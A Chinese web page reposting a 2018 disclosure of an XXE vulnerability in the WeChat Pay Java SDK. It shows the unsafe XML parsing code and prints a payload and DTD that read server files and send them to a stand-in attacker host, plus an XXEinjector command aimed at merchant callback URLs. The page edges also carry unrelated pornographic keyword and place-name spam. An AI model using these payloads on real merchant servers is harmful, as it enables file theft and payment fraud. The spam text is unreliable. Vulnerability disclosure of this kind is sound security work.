亚洲激情专区-91九色丨porny丨老师-久久久久久久女国产乱让韩-国产精品午夜小视频观看

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

微信支付SDK存在XXE漏洞

發布時間:2020-07-23 18:14:35 來源:網絡 閱讀:13040 作者:wx5b0b88843cb2a 欄目:安全技術

微信支付SDK存在XXE漏洞

漏洞信息來源:
http://seclists.org/fulldisclosure/2018/Jul/3
https://xz.aliyun.com/t/2426

0x00受影響版本:

JAVA SDK,WxPayAPI_JAVA_v3,建議使用了該版本的公司進行異常支付排查。
微信在JAVA版本的SDK中提供callback回調功能,用來幫助商家接收異步付款結果,該接口接受XML格式的數據,×××者可以構造惡意的回調數據(XML格式)來竊取商家服務器上的任何信息。一旦×××者獲得了關鍵支付的安全密鑰(md5-key和商家信息,將可以直接實現0元支付購買任何商品)

0x01漏洞詳情

The SDK  in this page:  https://pay.weixin.qq.com/wiki/doc/api/jsapi.php
chapter=11_1
   Just in java vision:
https://pay.weixin.qq.com/wiki/doc/api/download/WxPayAPI_JAVA_v3.zip
    or
https://drive.google.com/file/d/1AoxfkxD7Kokl0uqILaqTnGAXSUR1o6ud/view(
Backup )

   README.md in  WxPayApi_JAVA_v3.zip,it show more details:

   notify code example:
    [
        String notifyData = "....";
        MyConfig config = new MyConfig();
        WXPay wxpay = new WXPay(config);
//conver to map
        Map<String, String> notifyMap = WXPayUtil.xmlToMap(notifyData);

        if (wxpay.isPayResultNotifySignatureValid(notifyMap)) {
//do business logic
        }
        else {
         }

     ]
    WXPayUtil source code
   [

  public static Map<String, String> xmlToMap(String strXML) throws
Exception {
    try {
            Map<String, String> data = new HashMap<String, String>();
            /*** not disabled xxe *****/
            //start parse

            DocumentBuilderFactory documentBuilderFactory =
DocumentBuilderFactory.newInstance();
            DocumentBuilder documentBuilder =
documentBuilderFactory.newDocumentBuilder();
            InputStream stream = new ByteArrayInputStream(strXML.getBytes(
"UTF-8"));
            org.w3c.dom.Document doc = documentBuilder.parse(stream);

           //end parse

            doc.getDocumentElement().normalize();
            NodeList nodeList = doc.getDocumentElement().getChildNodes();
            for (int idx = 0; idx < nodeList.getLength(); ++idx) {
                Node node = nodeList.item(idx);
                if (node.getNodeType() == Node.ELEMENT_NODE) {
                    org.w3c.dom.Element element = (org.w3c.dom.Element) node
;
                    data.put(element.getNodeName(), element.getTextContent
());
                }
            }
            try {
                stream.close();
            } catch (Exception ex) {
                // do nothing
            }
            return data;
        } catch (Exception ex) {
            WXPayUtil.getLogger().warn("Invalid XML, can not convert to
map. Error message: {}. XML content: {}", ex.getMessage(), strXML);
            throw ex;
        }
    }

]

微信支付SDK存在XXE漏洞

0x02利用細節

Post merchant notification url with payload:
找到商家的notify


<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
  <!ENTITY % attack SYSTEM "file:///etc/">
  <!ENTITY % xxe SYSTEM "http://attacker:8080/shell/data.dtd";>
  %xxe;
]>

data.dtd:

<!ENTITY % shell "<!ENTITY % upload SYSTEM 'ftp://attack:33/%attack;
'>">
%shell;
%upload;

or use  XXEinjector tool  【https://github.com/enjoiz/XXEinjector】

ruby XXEinjector.rb --host=attacker --path=/etc   --file=req.txt --ssl

req.txt :
POST merchant_notification_url HTTP/1.1
Host:  merchant_notification_url_host
User-Agent: curl/7.43.0
Accept: */*
Content-Length: 57
Content-Type: application/x-www-form-urlencoded

XXEINJECT
向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

镶黄旗| 九江县| 化隆| 奈曼旗| 宝坻区| 北辰区| 桂平市| 宁海县| 乳源| 鹤岗市| 平湖市| 拉萨市| 富川| 包头市| 寿宁县| 嘉祥县| 兖州市| 芦山县| 紫云| 霍林郭勒市| 博湖县| 万山特区| 安徽省| 五台县| 阿巴嘎旗| 灵寿县| 双流县| 娄烦县| 额济纳旗| 阿克| 监利县| 桃园县| 新乡县| 丰顺县| 富锦市| 玉溪市| 巩义市| 长海县| 彭阳县| 获嘉县| 榆中县|